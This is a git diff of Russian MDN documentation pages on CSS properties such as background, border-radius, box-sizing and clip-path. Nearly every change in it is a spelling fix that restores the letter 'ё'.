a/files/ru/web/css/background-clip/index.html b/files/ru/web/css/background-clip/index.html index ddc05598eb..7c7f5bc3dc 100644 --- a/files/ru/web/css/background-clip/index.html +++ b/files/ru/web/css/background-clip/index.html @@ -112,7 +112,7 @@ background-clip: unset;</code></pre> <h2 id="Смотрите_также">Смотрите также</h2> <ul> - <li>Свойство {{cssxref("clip-path")}} создает область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.</li> + <li>Свойство {{cssxref("clip-path")}} создаёт область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.</li> <li>Свойства фона: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}</li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box_model">Введение в блочную модель CSS</a></li> </ul> diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html index 095ff8ee1e..cdcf7b8c79 100644 --- a/files/ru/web/css/background-image/index.html +++ b/files/ru/web/css/background-image/index.html @@ -14,9 +14,9 @@ translation_of: Web/CSS/background-image <p>Свойство <a href="/ru/docs/CSS" title="/ru/docs/CSS">CSS</a> <strong><code>background-image</code></strong> устанавливает одно или несколько фоновых изображений для элемента. Изображения рисуются в слоях контекстов наложения одно поверх другого. Первый слой выводится так, чтобы он был ближе всего к пользователю.</p> -<p><a href="/ru/CSS/border" title="border">Границы</a> {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и ее границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.</p> +<p><a href="/ru/CSS/border" title="border">Границы</a> {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и её границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.</p> -<p>Если указанное изображение не может быть нарисовано (например, когда файл, определенный указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением <code>none</code>.</p> +<p>Если указанное изображение не может быть нарисовано (например, когда файл, определённый указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением <code>none</code>.</p> <div class="note"><strong>Обратите внимание:</strong> Даже, если изображение непрозрачно и цвет не будет показан при нормальных обстоятельствах, веб-разработчику следует всегда указывать атрибут {{cssxref("background-color")}}. Если изображение не может быть загружено —например, в случае отказа сетевого подключения — у элемента будет отображён цветной фон.</div> @@ -36,7 +36,7 @@ background-image: inherit; <dt><code>none</code></dt> <dd>Это ключевое слово обозначает отсутствие изображений.</dd> <dt><code><image></code></dt> - <dd>{{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделенных запятыми, поскольку поддерживается<a href="/ru/docs/CSS/Multiple_backgrounds" title="Multiple backgrounds"> несколько фонов</a>.</dd> + <dd>{{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделённых запятыми, поскольку поддерживается<a href="/ru/docs/CSS/Multiple_backgrounds" title="Multiple backgrounds"> несколько фонов</a>.</dd> </dl> <h3 id="Официальный_синтаксис">Официальный синтаксис</h3> diff --git a/files/ru/web/css/background-position-x/index.html b/files/ru/web/css/background-position-x/index.html index 3aaa1af51e..ffebd13721 100644 --- a/files/ru/web/css/background-position-x/index.html +++ b/files/ru/web/css/background-position-x/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/background-position-x -<p>Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} примененными после его объявления.</p> +<p>Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} применёнными после его объявления.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -41,7 +41,7 @@ background-position-x: initial; background-position-x: unset; </pre> -<p>Свойство <code>background-position-x</code> принимает одно или несколько значений, разделенных запятыми.</p> +<p>Свойство <code>background-position-x</code> принимает одно или несколько значений, разделённых запятыми.</p> <h3 id="Значения">Значения</h3> diff --git a/files/ru/web/css/background-position/index.html b/files/ru/web/css/background-position/index.html index dcd216c010..97620ff7d2 100644 --- a/files/ru/web/css/background-position/index.html +++ b/files/ru/web/css/background-position/index.html @@ -43,7 +43,7 @@ background-position: initial; background-position: unset; </pre> -<p>Свойство <code>background-position</code> указывается в виде одного или нескольких значений <code><a href="#<position>"><position></a></code>, разделенных запятыми.</p> +<p>Свойство <code>background-position</code> указывается в виде одного или нескольких значений <code><a href="#<position>"><position></a></code>, разделённых запятыми.</p> <h3 id="Values" name="Values">Значения</h3> @@ -83,7 +83,7 @@ background-position: unset; <h2 id="Examples" name="Examples">Примеры</h2> -<p>Каждый из этих примеров использует свойство {{cssxref("background")}} для создания желтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.</p> +<p>Каждый из этих примеров использует свойство {{cssxref("background")}} для создания жёлтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.</p> <h3 id="HTML">HTML</h3> @@ -102,7 +102,7 @@ div { margin-bottom: 12px; } -/* В этих примерах используется сокращенное свойство 'background' */ +/* В этих примерах используется сокращённое свойство 'background' */ .exampleone { background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat; } diff --git a/files/ru/web/css/background-repeat/index.html b/files/ru/web/css/background-repeat/index.html index 76eb8e36a1..ad4d0bffd0 100644 --- a/files/ru/web/css/background-repeat/index.html +++ b/files/ru/web/css/background-repeat/index.html @@ -177,7 +177,7 @@ div { <tr> <td>{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}</td> <td>{{Spec2('CSS3 Backgrounds')}}</td> - <td>Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов <code>space</code> и <code>round</code>, а также для фона на элементе на уровне строки путем точного определения области рисования фона.</td> + <td>Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов <code>space</code> и <code>round</code>, а также для фона на элементе на уровне строки путём точного определения области рисования фона.</td> </tr> <tr> <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}</td> diff --git a/files/ru/web/css/background-size/index.html b/files/ru/web/css/background-size/index.html index f93b74acd7..71c948b9e4 100644 --- a/files/ru/web/css/background-size/index.html +++ b/files/ru/web/css/background-size/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/background-size <p>Значение <strong><code>background-size</code></strong> в <a href="/en-US/docs/CSS" title="CSS">CSS</a> позволяет задавать размер фонового изображения. Изображение может быть оставлено в исходном размере, растянуто, или подогнано под размеры доступного пространства.</p> -<div class="note"><strong>Предупреждение:</strong> Если значение этого свойства не задано в сокращенном свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства <code>background-size</code>, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращенного свойства.</div> +<div class="note"><strong>Предупреждение:</strong> Если значение этого свойства не задано в сокращённом свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства <code>background-size</code>, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращённого свойства.</div> <p>{{cssinfo}}</p> @@ -68,7 +68,7 @@ background-size: unset; <p>Фоновые изображения, сгенерированные из элементов с использованием {{cssxref("-moz-element")}} (которые фактически соответствуют элементу) в настоящее время обрабатываются как изображения с размерами элемента, или как область расположения фона, если элементом является SVG, с соответствующей внутренней пропорцией.</p> -<div class="note"><strong>Предупреждение:</strong> Это не определенное в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.</div> +<div class="note"><strong>Предупреждение:</strong> Это не определённое в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.</div> <p>Визуализированный размер фонового изображения затем вычисляется следующим способом:</p> @@ -76,14 +76,14 @@ background-size: unset; <dt><font face="Open Sans, Arial, sans-serif">Если оба атрибута в </font><code>background-size</code> заданы и различны от <code>auto</code>:</dt> <dd>Фоновое изображение отображается в указанном размере.</dd> <dt>Если <code>background-size</code> содержит <code>contain</code> или <code>cover</code>:</dt> - <dd>Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает ее. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.</dd> + <dd>Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает её. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.</dd> <dt>Если <code>background-size</code> установлен как <code>auto</code> или <code>auto auto</code>:</dt> - <dd>Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан <code>contain</code>. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определенным этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.</dd> + <dd>Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан <code>contain</code>. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определённым этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.</dd> <dt>Если background-size содержит один атрибут <code>auto</code> и один не-<code>auto</code>:</dt> <dd>Если изображение имеет внутреннюю пропорцию, то визуализируйте его используя указанный размер, и вычислите другой размер из указанного размера и внутренней пропорции. Если изображение не имеет внутренней пропорции, используйте указанный размер для этого размера. Для другого размера, используйте соответствующее внутреннее измерение изображения, если оно есть. Если такого внутреннего размера нет, используйте соответствующий размер области расположения фона.</dd> </dl> -<p>Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, еще не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.</p> +<p>Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, ещё не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.</p> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -95,7 +95,7 @@ background-size: unset; <h2 id="Замечания">Замечания</h2> -<p>Если вы указываете градиент в качестве фона и указали <code>background-size</code>, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задается с использованием только значения ширины (для примера, <code>background-size: 50%</code>). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">CSS3 спецификацией <code>background-size</code> </a>и с <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">CSS3 спецификацией градиента значений изображения</a>.</p> +<p>Если вы указываете градиент в качестве фона и указали <code>background-size</code>, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задаётся с использованием только значения ширины (для примера, <code>background-size: 50%</code>). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">CSS3 спецификацией <code>background-size</code> </a>и с <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">CSS3 спецификацией градиента значений изображения</a>.</p> <pre class="brush: css">.bar { width: 50px; height: 100px; diff --git a/files/ru/web/css/background/index.html b/files/ru/web/css/background/index.html index 7b39d9589c..fafdb12cc3 100644 --- a/files/ru/web/css/background/index.html +++ b/files/ru/web/css/background/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/background --- <div>{{CSSRef("CSS Background")}}</div> -<div>Сокращенное <a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background</code></strong> устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.</div> +<div>Сокращённое <a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background</code></strong> устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.</div> <div></div> @@ -15,7 +15,7 @@ translation_of: Web/CSS/background <p>Свойство является <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращением,</a> которое устанавливает следующие свойства в одном объявлении: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, и {{cssxref("background-attachment")}}.</p> -<p>Как и во всех сокращенных свойствах, любые пропущенные вложенные значения будут установлены в свои <a href="/en-US/docs/Web/CSS/initial_value">изначальные значения</a>.</p> +<p>Как и во всех сокращённых свойствах, любые пропущенные вложенные значения будут установлены в свои <a href="/en-US/docs/Web/CSS/initial_value">изначальные значения</a>.</p> @@ -54,7 +54,7 @@ background: no-repeat center/80% url("../img/image.png"); <dt><code><repeat-style></code></dt> <dd>Смотри {{cssxref("background-repeat")}}</dd> <dt><code><bg-size></code></dt> - <dd>Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <strong><position></strong>, разделенного символом '/'.</dd> + <dd>Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <strong><position></strong>, разделённого символом '/'.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/block-size/index.html b/files/ru/web/css/block-size/index.html index 413705bb6d..c7d9f6ada4 100644 --- a/files/ru/web/css/block-size/index.html +++ b/files/ru/web/css/block-size/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/block-size --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p>Свойство <strong><code>block-size</code></strong> <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> задает горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.</p> +<p>Свойство <strong><code>block-size</code></strong> <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> задаёт горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.</p> <pre class="brush:css no-line-numbers">/* <length> values */ block-size: 300px; @@ -37,7 +37,7 @@ block-size: initial; block-size: unset; </pre> -<p>Если режим записи (writing mode) ориентирован по вертикали, то значение <code> block-size относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задает другое измерение элемента.</code></p> +<p>Если режим записи (writing mode) ориентирован по вертикали, то значение <code> block-size относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задаёт другое измерение элемента.</code></p> <p><code>{{cssinfo}}</code></p> @@ -92,7 +92,7 @@ block-size: unset; <h2 id="Совместимость_с_браузерами"><code>Совместимость с браузерами</code></h2> -<div class="hidden"><code>Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в разработку, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам соответствующий запрос.</code></div> +<div class="hidden"><code>Таблица совместимости на этой странице создаётся на основе структурированных данных. Если вы хотите внести свой вклад в разработку, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам соответствующий запрос.</code></div> <p><code>{{Compat("css.properties.block-size")}}</code></p> diff --git a/files/ru/web/css/border-image-slice/index.html b/files/ru/web/css/border-image-slice/index.html index 9841ac6e97..4a7890a181 100644 --- a/files/ru/web/css/border-image-slice/index.html +++ b/files/ru/web/css/border-image-slice/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/border-image-slice <h2 id="Описание">Описание</h2> -<p>CSS свойство <strong><code>border-image-slice</code></strong> делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путем указания 4 внутренних смещений.</p> +<p>CSS свойство <strong><code>border-image-slice</code></strong> делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путём указания 4 внутренних смещений.</p> <p><a href="/files/3814/border-image-slice.png" style="float: left;"><img alt="The nine slices defined by the CSS border-image shorthand or border-image-slice longhand properties" src="/files/3814/border-image-slice.png" style="height: 132px; margin: 1px; padding: 1em; width: 250px;"></a>Четыре значения управляют положением линий среза. If some are not specified, they are inferred from the other with the usual 4-value syntax of CSS.</p> diff --git a/files/ru/web/css/border-radius/index.html b/files/ru/web/css/border-radius/index.html index 3a597a4b3b..d08dd0e681 100644 --- a/files/ru/web/css/border-radius/index.html +++ b/files/ru/web/css/border-radius/index.html @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-radius --- <div>{{CSSRef}}</div> -<p><strong><code>border-radius</code></strong> — это <a href="/ru/docs/Web/CSS">CSS</a>-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закругленность каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.</p> +<p><strong><code>border-radius</code></strong> — это <a href="/ru/docs/Web/CSS">CSS</a>-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закруглённость каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.</p> <div>{{EmbedInteractiveExample("pages/css/border-radius.html")}}</div> @@ -22,7 +22,7 @@ translation_of: Web/CSS/border-radius <p>Свойство <code>border-radius</code> не применяется к элементам таблицы, когда свойство {{Cssxref ("border-collapse")}} имеет значение <code>collapse</code>.</p> -<div class="note"><strong>Замечание:</strong> Как и с любым другим сокращенным свойством, отдельные подсвойства не могут наследоваться. Например, как в <code>border-radius:0 0 inherit inherit</code>, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.</div> +<div class="note"><strong>Замечание:</strong> Как и с любым другим сокращённым свойством, отдельные подсвойства не могут наследоваться. Например, как в <code>border-radius:0 0 inherit inherit</code>, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.</div> <h2 id="Синтаксис">Синтаксис</h2> @@ -39,7 +39,7 @@ border-radius: 2px 4px 2px; /* <em>top-left</em> | <em>top-right</em> | <em>bottom-right</em> | <em>bottom-left</em> */ border-radius: 1px 0 3px 4px; -<strong>/* Синтаксис из двух радиусов также может применяться ко всем четырем углам */</strong> +<strong>/* Синтаксис из двух радиусов также может применяться ко всем четырём углам */</strong> /* (первые значения радиуса) /<em>радиус</em> */ border-radius: 10px 5% / 20px; diff --git a/files/ru/web/css/border-width/index.html b/files/ru/web/css/border-width/index.html index 05b2360748..19fe6770ab 100644 --- a/files/ru/web/css/border-width/index.html +++ b/files/ru/web/css/border-width/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/border-width <h2 id="Summary">Summary</h2> -<p>CSS свойство {{cssxref("border-width")}}<span style="line-height: 1.5;"> определяет ширину рамки элемента. Но обычно ее задают не отдельно, а в составе свойства {{cssxref("border")}}.</span></p> +<p>CSS свойство {{cssxref("border-width")}}<span style="line-height: 1.5;"> определяет ширину рамки элемента. Но обычно её задают не отдельно, а в составе свойства {{cssxref("border")}}.</span></p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/border/index.html b/files/ru/web/css/border/index.html index 6ae7e6460b..93ce8b8020 100644 --- a/files/ru/web/css/border/index.html +++ b/files/ru/web/css/border/index.html @@ -25,7 +25,7 @@ border: medium dashed green; <p> </p> <div class="note style-wrap"> -<p><strong>Замечание:</strong> Рекомендуется использовать <code>border</code>, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}} принимают до четырех значений, позволяя установить различные значения для каждого ребра, <code>border</code> принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырех границ.</p> +<p><strong>Замечание:</strong> Рекомендуется использовать <code>border</code>, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}} принимают до четырёх значений, позволяя установить различные значения для каждого ребра, <code>border</code> принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырёх границ.</p> </div> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/css/bottom/index.html b/files/ru/web/css/bottom/index.html index c0190058df..5ecde8ca47 100644 --- a/files/ru/web/css/bottom/index.html +++ b/files/ru/web/css/bottom/index.html @@ -150,7 +150,7 @@ div { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("css.properties.bottom")}}</p> </div> diff --git a/files/ru/web/css/box-shadow/index.html b/files/ru/web/css/box-shadow/index.html index b50dded28d..3366118622 100644 --- a/files/ru/web/css/box-shadow/index.html +++ b/files/ru/web/css/box-shadow/index.html @@ -53,7 +53,7 @@ box-shadow: unset; <ul> <li>Если задано только два значения, они интерпретируется как <code><a href="#<offset-x> <offset-y>"><offset-x><offset-y></a></code> values.</li> <li>Если задано третье значение, оно понимается как <code><a href="#<blur-radius>"><blur-radius></a></code>.</li> - <li>Если задано четвертое значение, оно интерпретируется <code><a href="#<spread-radius>"><spread-radius></a></code>.</li> + <li>Если задано четвёртое значение, оно интерпретируется <code><a href="#<spread-radius>"><spread-radius></a></code>.</li> </ul> </li> <li>Дополнительно, можно задать ключевое слово <code><a href="#inset">inset</a></code>.</li> diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html index f0d5760e9e..72dda8d87a 100644 --- a/files/ru/web/css/box-sizing/index.html +++ b/files/ru/web/css/box-sizing/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/box-sizing <dl> <dt><code>content-box</code></dt> - <dd>Это значение по умолчанию, определенное в CSS стандарте. Свойства <a href="/ru/docs/Web/CSS/width">width</a> и <a href="/ru/docs/Web/CSS/height">height</a> включают исключительно контент, и не включают <a href="/ru/docs/Web/CSS/padding">padding</a> и <a href="/ru/docs/Web/CSS/border">border</a>. Например <code>.box {width: 350px; border: 10px solid black;}</code> будет иметь ширину 370 пикселей.</dd> + <dd>Это значение по умолчанию, определённое в CSS стандарте. Свойства <a href="/ru/docs/Web/CSS/width">width</a> и <a href="/ru/docs/Web/CSS/height">height</a> включают исключительно контент, и не включают <a href="/ru/docs/Web/CSS/padding">padding</a> и <a href="/ru/docs/Web/CSS/border">border</a>. Например <code>.box {width: 350px; border: 10px solid black;}</code> будет иметь ширину 370 пикселей.</dd> <dd>Размеры элемента рассчитываются следующим образом: <em>width = ширина контента</em>, и <em>height = высота контента</em>. (Границы и внутренние отступы не включаются в вычисление.)</dd> </dl> diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html index 5dd08d22f0..550760de0a 100644 --- a/files/ru/web/css/calc()/index.html +++ b/files/ru/web/css/calc()/index.html @@ -44,7 +44,7 @@ translation_of: Web/CSS/calc() <h3 id="Позиционирование_объекта_в_окне_с_помощью_отступа">Позиционирование объекта в окне с помощью отступа</h3> -<p><code>calc()</code> делает простым позиционирование объекта с помощью отступа. В этом примере создается баннер занимающий в ширину все окно с отступами по краям в 40px. </p> +<p><code>calc()</code> делает простым позиционирование объекта с помощью отступа. В этом примере создаётся баннер занимающий в ширину все окно с отступами по краям в 40px. </p> <pre class="brush: css notranslate">.banner { position: absolute; diff --git a/files/ru/web/css/class_selectors/index.html b/files/ru/web/css/class_selectors/index.html index 714ac4588e..99c15c63d6 100644 --- a/files/ru/web/css/class_selectors/index.html +++ b/files/ru/web/css/class_selectors/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Class_selectors <h2 id="Summary" name="Summary">Краткое описание</h2> -<p>В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделенный пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведенному в селекторе.</p> +<p>В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделённый пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведённому в селекторе.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/css/clear/index.html b/files/ru/web/css/clear/index.html index 241ee74c7a..146132dfe3 100644 --- a/files/ru/web/css/clear/index.html +++ b/files/ru/web/css/clear/index.html @@ -21,7 +21,7 @@ translation_of: Web/CSS/clear <p>Поплавки, которые имеют отношение к очистке, - это более ранние поплавки в одном и том же <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">контексте форматирования блоков</a>. </p> <div class="note"> -<p><strong>Заметка:</strong> Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется <strong>clearfix,</strong> и один из способов сделать это - это заменит <code>clear</code> замененный {{cssxref("::after")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> на нем.</p> +<p><strong>Заметка:</strong> Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется <strong>clearfix,</strong> и один из способов сделать это - это заменит <code>clear</code> заменённый {{cssxref("::after")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> на нем.</p> <pre class="brush: css">#container::after { content: ""; @@ -224,7 +224,7 @@ p { <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("css.properties.clear")}}</p> diff --git a/files/ru/web/css/clip-path/index.html b/files/ru/web/css/clip-path/index.html index 69fe7f99ed..55a8b1259a 100644 --- a/files/ru/web/css/clip-path/index.html +++ b/files/ru/web/css/clip-path/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/clip-path --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>clip-path</strong></code> создает ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (<code><a href="https://developer.mozilla.org/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82/circle">circle()</a></code>).</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>clip-path</strong></code> создаёт ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (<code><a href="https://developer.mozilla.org/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82/circle">circle()</a></code>).</p> <div class="note"> <p><strong>Историческая справка:</strong> Свойство clip-path заменило устаревшее свойство {{cssxref("clip")}} .</p> @@ -456,14 +456,14 @@ svg text.em { <dt><code>inset()</code>, <code>circle()</code>, <code>ellipse()</code>, <code>polygon()</code></dt> <dd>Функция {{cssxref("<basic-shape>")}}. Размер и положение области определяется значением <code><geometry-box></code>. Если геометрия не определена,<code>border-box</code> будет использоваться в качестве блока.</dd> <dt><code><geometry-box></code></dt> - <dd>Если определен в комбинации с <code><basic-shape></code>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений: + <dd>Если определён в комбинации с <code><basic-shape></code>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного 